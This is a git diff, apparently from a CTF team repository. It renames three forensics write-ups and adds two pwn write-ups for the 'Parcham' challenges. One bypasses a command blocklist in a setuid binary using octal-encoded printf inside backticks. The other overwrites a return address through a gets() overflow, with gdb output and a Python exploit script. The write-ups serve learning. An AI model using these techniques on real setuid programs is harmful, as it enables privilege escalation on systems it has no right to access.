diff --git a/forensics/ForensicsSecondChallenge-EnglishWriteup-KRypton.md b/forensics/ForensicsSecondChallenge-EnglishWriteup-Kourosh.md similarity index 99% rename from forensics/ForensicsSecondChallenge-EnglishWriteup-KRypton.md rename to forensics/ForensicsSecondChallenge-EnglishWriteup-Kourosh.md index 72e31a8..cecf687 100644 --- a/forensics/ForensicsSecondChallenge-EnglishWriteup-KRypton.md +++ b/forensics/ForensicsSecondChallenge-EnglishWriteup-Kourosh.md @@ -324,4 +324,4 @@ parcham{Th13_0n3_wa5_harder_be_patient_&_learn!!} ``` Regards -> KRypton (KooroshRZ) +> (KooroshRZ) diff --git a/forensics/bamanbekhan_english_KRypton.md b/forensics/bamanbekhan_english_Kourosh.md similarity index 99% rename from forensics/bamanbekhan_english_KRypton.md rename to forensics/bamanbekhan_english_Kourosh.md index 9d8824c..0b50c4e 100644 --- a/forensics/bamanbekhan_english_KRypton.md +++ b/forensics/bamanbekhan_english_Kourosh.md @@ -92,4 +92,4 @@ After openning the rand_ file inside folder with right permissions, we get the p ![pic-9](http://164.132.117.34/bamanbekhan/9.png) Regards -> KRypton (KooroshRZ) +> (KooroshRZ) diff --git a/forensics/bamanbekhan_persian_KRypton.md b/forensics/bamanbekhan_persian_Kourosh.md similarity index 99% rename from forensics/bamanbekhan_persian_KRypton.md rename to forensics/bamanbekhan_persian_Kourosh.md index f13e93e..024f988 100644 --- a/forensics/bamanbekhan_persian_KRypton.md +++ b/forensics/bamanbekhan_persian_Kourosh.md @@ -91,4 +91,4 @@ $ cd ../ ![تصویر۹](http://164.132.117.34/bamanbekhan/9.png) با احترام -> KRypton (KooroshRZ) +> (KooroshRZ) diff --git a/pwn/Pwn-FirstChallenge-WriteUp-Kourosh.md b/pwn/Pwn-FirstChallenge-WriteUp-Kourosh.md new file mode 100644 index 0000000..c5df517 --- /dev/null +++ b/pwn/Pwn-FirstChallenge-WriteUp-Kourosh.md @@ -0,0 +1,139 @@ +# Parcham Pwn first challenge + +After logging into the server we see there are two users + +``` +user1@parcham-os-1:~$ ls /home/ + +flag user1 +``` + +If we check the flag user's home directory we see there is a flag file named flag.txt\ +it's owner user and group is flag. so we can not read the file + + +Let's check flag's home directory + +``` +user1@parcham-os-1:/home/flag$ ls -l +total 28 +-r-sr-xr-x 1 flag flag 17112 Jan 26 22:14 access +-r--r--r-- 1 flag flag 1143 Jan 26 21:15 access.c +-r--r----- 1 flag flag 42 Jan 26 21:21 flag.txt + +``` + + +we have a access binary with suid enabled\ +which indicates that the effective user of that is flag user\ +So if we run code binary with user1 we actually are running it with flag user (because of suid bit set for it's owner flag user) + + +Let's take a look at access.c + +``` +user1@parcham-os-1:/home/flag$ cat access.c +#include +#include +#include +#include +#include +#include + +char *gen_cmd(int argc, const char **argv){ + size_t total_size = 1; + for(int it = 1; it < argc; it++){ + total_size+= strlen(argv[it]); + } + char *ret = malloc(total_size); + total_size = 0; + for(int it = 1; it < argc; it++){ + size_t len = strlen(argv[it]); + memcpy(ret+total_size, argv[it], len); + total_size+= len; + ret[total_size] = ' '; + total_size++; + } + ret[total_size] = '\0'; + return ret; +} + +int filter(const char *cmd){ + int valid = 1; + valid &= strstr(cmd, "*") == NULL; + valid &= strstr(cmd, "sh") == NULL; + valid &= strstr(cmd, "/") == NULL; + valid &= strstr(cmd, "home") == NULL; + valid &= strstr(cmd, "parcham") == NULL; + valid &= strstr(cmd, "busybox") == NULL; + valid &= strstr(cmd, ".") == NULL; + valid &= strstr(cmd, "$") == NULL; + valid &= strstr(cmd, "flag") == NULL; + valid &= strstr(cmd, "txt") == NULL; + return valid; +} + + +int main(int argc, const char **argv){ + setreuid(UID, UID); + char *cmd = gen_cmd(argc, argv); + if (!filter(cmd)){ + exit(-1); + } + setenv("PATH", "", 1); + system(cmd); +} +``` + +gen_cmd function just malloc some memory space for our input and concatinate all of them together\ +main function sets UID and grab our input then pass it to filter function\ +after that set PATH variable to "" and after that it runs our input\ +(we know this command now is running as flag user because of suid bit enabled) + + +so let's check the binary with some input +``` +user1@parcham-os-1:/home/flag$ ./access ls +sh: ls: No such file or directory +``` + +because of setting path variable to "" so we have no access to our commands\ +also if we use like this +``` +user1@parcham-os-1:/home/flag$ ./access /usr/bin/ls +user1@parcham-os-1:/home/flag$ +``` + +we get no result because of filter function + +but we also can execute some limited commands with linux built-in commands\ +because we can't use flag and txt keywords and other important characters I used octal encoding +So I used printf and backticks and octal encoding for this + +Let's go step by step\ +we wanna run this command +``` +/usr/bin/cat /home/flag/flag.txt +``` + +1) First encode this with octal encoding +``` +/usr/bin/cat /home/flag/flag.txt -> 57 165 163 162 57 142 151 156 57 143 141 164 40 57 150 157 155 145 57 146 154 141 147 57 146 154 141 147 56 164 170 164 +``` + +2) Second use printf to print this octal ascii's in raw format +``` +user1@parcham-os-1:/home/flag$ printf "%0b" "\57\165\163\162\57\142\151\156\57\143\141\164\40\57\150\157\155\145\57\146\154\141\147\57\146\154\141\147\56\164\170\164\12" +/usr/bin/cat /home/flag/flag.txt +user1@parcham-os-1:/home/flag$ +``` + +3) Thirst use backticks \`\` to execute this command\ +(Don't forget to escape backticks characters. otherwise it will first execute the output then pass it to access binary) +``` +./access \`'printf "%0b" "\57\165\163\162\57\142\151\156\57\143\141\164\40\57\150\157\155\145\57\146\154\141\147\57\146\154\141\147\56\164\170\164\12"'\` +parcham{bbe147934d55c3695b037b259fed8eca} +``` + +Finish\ +by KooroshRZ. diff --git a/pwn/Pwn-SecondChallenge-WriteUp-kourosh.md b/pwn/Pwn-SecondChallenge-WriteUp-kourosh.md new file mode 100644 index 0000000..dd3d00f --- /dev/null +++ b/pwn/Pwn-SecondChallenge-WriteUp-kourosh.md @@ -0,0 +1,228 @@ +# Parcham Pwn second challenge + +After logging into the server we see there are two files inside user1 directory\ +Also there is a flag file inside flag user directory but we can't read that because we don't have permissions for that\ +If we check the files permissions we can see that the code binary's owner is flag user and its suid bit is enabled\ +So if we run it (it's world executable because of permissions) we are actually running it as flag user + +``` +user1@parcham-os-2:~$ ls -l +total 24 +-r-sr-xr-x 1 flag flag 17024 Feb 10 00:13 code +-r--r--r-- 1 user1 user1 435 Feb 10 00:13 code.c + +``` + +Let's see code.c source code + +``` +user1@parcham-os-2:~$ cat code.c +#include +#include +#include +#include + +void notCallMe() { + char *envp[] = { NULL }; + char *argv[] = {"/bin/cat", "/home/flag/flag.txt", NULL}; + execve("/bin/cat", argv, envp); +} + +void callMe() { + char buffer[64]; + printf("%p\n", *notCallMe); + fflush(stdout); + gets(buffer); +} + +int main(int argc, char** argv) { + callMe(); + + printf("Exiting...\n"); + exit(0); +} + +``` + + +There are two functions\ +callMe which declares a buffter and write our input inside it\ +notCallMe which reads content of flag file (it's possible because of suid bit enabled and we run it on behalf of flag user)\ +But the problem is that notCallMe function is not called inside the compiled binary + +If we take a look at callMe function we see there is a simple buffer overflow vulnerability because of using "gets" function\ +So if overflow the buffer variable with our input and overwrite the return address of the stack of callMe function, we can change the flow of the program to point to notCallMe function and get the flag + + + +We download the files so we can use debugger +``` +$ scp -P 8025 user1@86.104.33.87:/home/user1/code* . +user1@86.104.33.87's password: +code 100% 17KB 377.6KB/s 00:00 +code.c 100% 435 64.7KB/s 00:00 + +``` + +If we disassmble the file we see it's a 64 bit linux binary +So for addressing, soring and using variables we need our variable to be mutiple of word size (8 bytes or 64 bits) + +``` +$ objdump -D code | less + +0000000000001235 : + 1235: f3 0f 1e fa endbr64 + 1239: 55 push %rbp + 123a: 48 89 e5 mov %rsp,%rbp + 123d: 48 83 ec 40 sub $0x40,%rsp + 1241: 48 8d 35 a1 ff ff ff lea -0x5f(%rip),%rsi # 11e9 + 1248: 48 8d 3d d2 0d 00 00 lea 0xdd2(%rip),%rdi # 2021 <_IO_stdin_used+0x21> + 124f: b8 00 00 00 00 mov $0x0,%eax + 1254: e8 57 fe ff ff callq 10b0 + 1259: 48 8b 05 b0 2d 00 00 mov 0x2db0(%rip),%rax # 4010 + 1260: 48 89 c7 mov %rax,%rdi + 1263: e8 78 fe ff ff callq 10e0 + 1268: 48 8d 45 c0 lea -0x40(%rbp),%rax + 126c: 48 89 c7 mov %rax,%rdi + 126f: b8 00 00 00 00 mov $0x0,%eax + 1274: e8 57 fe ff ff callq 10d0 + 1279: 90 nop + 127a: c9 leaveq + 127b: c3 retq + +``` + +So our stack will looks like this +``` +bottom of top of +memory memory + buffer SFP RET +<------ [ 64 * bytes ][8 bytes][ ] + +top of bottom of +stack stack +``` + + +1) First The return address (RET) is pushed into stack +2) Second the Base pointer or (Stack Frame Pointer SPF) is pushed into stack and because our word size is 8 bytes it will took 8 bytes in the stack +3) Third the stack pointer (%rsp) is subtracted by 0x40 (64 in decimal) which is the size of our buffer + +So after calling the stack we are 72 bytes away from return address\ +If we start fuzzing the binary with input size of 72 bytes we will get segmentation fault because of smashing the stack + +``` +python3 -c "print('A'*72)" > payload +$ gdb code + +gdb-peda$ r < payload +Starting program: /home/kourosh/CTF/parcham/Pwn/SecondChallenge/code < payload +0x55b5f75481e9 + +Program received signal SIGBUS, Bus error. +[----------------------------------registers-----------------------------------] +RAX: 0x7fff32f83970 --> 0x41414141414141b1 +RBX: 0x55b5f75482b0 (<__libc_csu_init>: endbr64) +RCX: 0x7f455f991980 --> 0xfbad2088 +RDX: 0x0 +RSI: 0x55b5f84e46b1 --> 0x41414141414141c1 +RDI: 0x7f455f9944d0 --> 0x0 +RBP: 0x4141414141414141 ('AAAAAAAA') +RSP: 0x7fff32f839c0 --> 0x7fff32f83ac8 --> 0x7fff32f84de9 ("/home/kourosh/CTF/parcham/Pwn/SecondChallenge/code") +RIP: 0x55b5f7548204 (: mov QWORD PTR [rbp-0x20],rax) +R8 : 0x7fff32f83970 --> 0x41414141414141b1 +R9 : 0x0 +R10: 0x55b5f7549023 --> 0x6e6974697845000a ('\n') +R11: 0x246 +R12: 0x55b5f7548100 (<_start>: endbr64) +R13: 0x7fff32f83ac0 --> 0x1 +R14: 0x0 +R15: 0x0 +EFLAGS: 0x10a86 (carry PARITY adjust zero SIGN trap INTERRUPT direction OVERFLOW) + +gdb-peda$ info frame +Stack level 0, frame at 0x4141414141414151: + rip = 0x55b5f7548204 in notCallMe; saved rip = + Outermost frame: Cannot access memory at address 0x4141414141414149 + Arglist at 0x7fff32f839b8, args: + Locals at 0x7fff32f839b8, Previous frame's sp is 0x4141414141414151 +Cannot access memory at address 0x4141414141414141 + +``` + +we see that the return address is changed to 0x4141414141414141 which is the 'A' characters we entered and they overflowed the buffer and changed the return address\ +So we should change the address of return address to point to the notCallMe function\ +The address of function is printed before doing anything but it's not constant\ +If it was constant we could craft our payload with this command and execute the program with it + +``` +$ python3 -c "print('A'*72+)" | ./code +``` + + +For example if our address is like this **0xdeadbeef**\ +We should write the payload like this +``` +python3 -c "print('A'*72+'\xef\xbe\xad\xde')" | ./code +``` +We inverted the address because we are using stack + + +We have a problem here, our address is not constant so we can't craft our payload before running the program\ +We should craft the payload in runtime after printing the notCallMe funcion address + +One of the ways is using pwntools in python but we don't have pwntools installed on the remote server so this on fails\ +Second way is to use pwntools through ssh on the remote server but pwntools is looking for python binary which does not exist on the server and there is only python3 so this one failed too\ +The thrid way which I used was to study pwntools to understand what exactly is being done and reimplement it in python + +I used python subprocess + +1) we execute the binary with subprocess +2) Grab the notCallMe address after printing +3) revert the address in format which we can use in our payload +4) craft the main payload and write it in stdin of the program + +``` +import subprocess +PIPE = subprocess.PIPE + +def exploit(): + + proc = subprocess.Popen(['/home/user1/code'],stdout=PIPE, stdin=PIPE, stderr=PIPE) + + line = proc.stdout.readline() + + print(line.rstrip()) + address = line.rstrip().decode() + address_size = len(address) + + payload = b'A' * 72 + new_address = b'' + + for i in range(address_size, 2, -2): + new_address += bytes.fromhex(address[i-2:i]) + payload += new_address + + print(payload) + + stdout_data = proc.communicate(input=payload)[0] + print(stdout_data) + +exploit() + +``` + +After executing the above exploit the return address is changed and notCallMe function is called and we got the flag +``` +user1@parcham-os-2:/dev/shm$ python3 ./.e.py +b'0x55aa556ba1e9' +b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe9\xa1kU\xaaU' +b'parcham{5654794b7e0e5b4a75e07fa7b515b295}\n' +``` + +First line is the address printed by the program (b'0x55aa556ba1e9')\ +Second line is tha payload (b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe9\xa1kU\xaaU')\ +Third line is the flag **(b'parcham{5654794b7e0e5b4a75e07fa7b515b295}\n')** + +Finish +By KooroshRZ.